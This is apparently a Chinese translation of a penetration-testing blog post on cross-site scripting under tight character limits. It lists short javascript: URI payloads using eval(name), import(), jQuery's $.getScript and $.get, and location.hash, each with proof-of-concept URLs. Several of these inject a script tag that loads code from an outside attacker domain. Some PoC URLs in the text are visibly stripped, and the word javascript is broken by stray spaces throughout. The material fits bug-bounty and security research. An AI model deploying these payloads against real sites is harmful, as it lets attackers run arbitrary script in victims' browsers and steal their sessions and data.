长度受限情况下的 XSS 攻击
在某些渗透测试情况下,你也许可以插入一段ja vasc ript,但是由于有字符数目的限制,所以只能进行简单的弹窗。我最近看到了一份关于HackerOne的文章,也碰到是一样情况,这就是我之所以写这篇文章的原因。那篇文章的作者设法执行了任意的ja vasc ript,但是有些复杂,并且需要少量的用户交互。这大大减弱了漏洞严重性,导致悬赏很低。
我认为,对于XSS,更有前途的POC是从您控制的域加载外部ja vasc ript。这篇文章列出了可以用尽可能少的字符加载外部ja vasc ript的方法。
假设我们的有效负载被放置在锚标记的href属性中,并且被限制为32个字符;
<a href="<INJECTION>">Click</a>
eval(name)
这可能是一个可以执行任意ja vasc ript的最短的有效负载。name属性可以被分配任何代码,并且也继承了跨域。这给了我们一个好处,使我们可以不受任何限制地执行任何payload,除非页面重写name。
POC: https://attacker.cm2.pw/?xss=name="d=document;s=d.createElement('sc ript');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a href="ja vasc ript:eval(name)">Click</a>','_self')
Payload 长度:
'ja vasc ript:eval(name)'.length==21
import
这是获取外部ja vasc ript的另一个最短的payload,但是只能在基于Chromium的浏览器上工作。
POC:
https://victim.cm2.pw/?xss=Click
Payload 长度:
'ja vasc ript:import(/\㎠.㎺/)'.length==24
$.getsc ript
这是一个非常有名的jQuery函数,用来加载外部ja vasc ript。在全局上下文中获取并执行脚本,就像sc ript标签加载的一样。但是,这要求jQuery已经在页面中加载。
POC:
https://victim.cm2.pw/?xss=Click
Payload 长度:
'ja vasc ript:$.getsc ript(/\㎠.㎺/)'.length==29
$.get
这是另一个jQuery函数,如果返回的Content类型设置为text/ja vasc ript,则该函数可以加载和执行外部ja vasc ript。这实际上是一个仅在jQuery 3.0.0之前能生效的漏洞。
POC:
https://victim.cm2.pw/?xss=Click
Payload 长度:
'ja vasc ript:$.get(/\㎠.㎺/)'.length==23
使用现有元素和/或属性
找到由用户部分或完全控制的HTML元素和ja vasc ript属性值并不罕见。虽然这可能需要花费一些时间,但是当插入的XSS长度受限时,它可以提供巨大的帮助。例如,大多数Ajax驱使应用存储hash标识符以便于导航。
如果页面存储hash如下;
const hash = document.location.hash;
我们可以用它来加载外部脚本;
eval("'"+hash)
POC:
https://victim.cm2.pw/?xss=const hash=document.location.hash;Click#';d=document;s=d.createElement('sc ript');s.src='//cm2.pw';d.body.appendChild(s)
Payload 长度:
`ja vasc ript:eval("'"+hash)`.length==25
除了上面已知的技术之外,还有各种其他方式可以加载外部ja vasc ript。以下是一些我没有现成案例的说明;
-其他Library
-各种selector的使用
-使用DOM属性、以及其变种(例如,image id)
在某些情况下,Firefox在单击ja vasc ript URI时会跳转页面。为了防止这个动作,我们需要引入一个错误。因此,其中个解决办法是在每个payload的结尾添加一些类似无意义的字段
ja vasc ript:eval(name);q
// halts navigation because q is not defined
最后,值得注意的是,还可以对ja vasc ript URL使用URL编码,比如;
<a href="ja vasc ript:x='%27,alert(1)//">Click</a>
// Thanks @garethheyes
POC:
原文链接:https://blog.cm2.pw/length-restricted-xss/
最新评论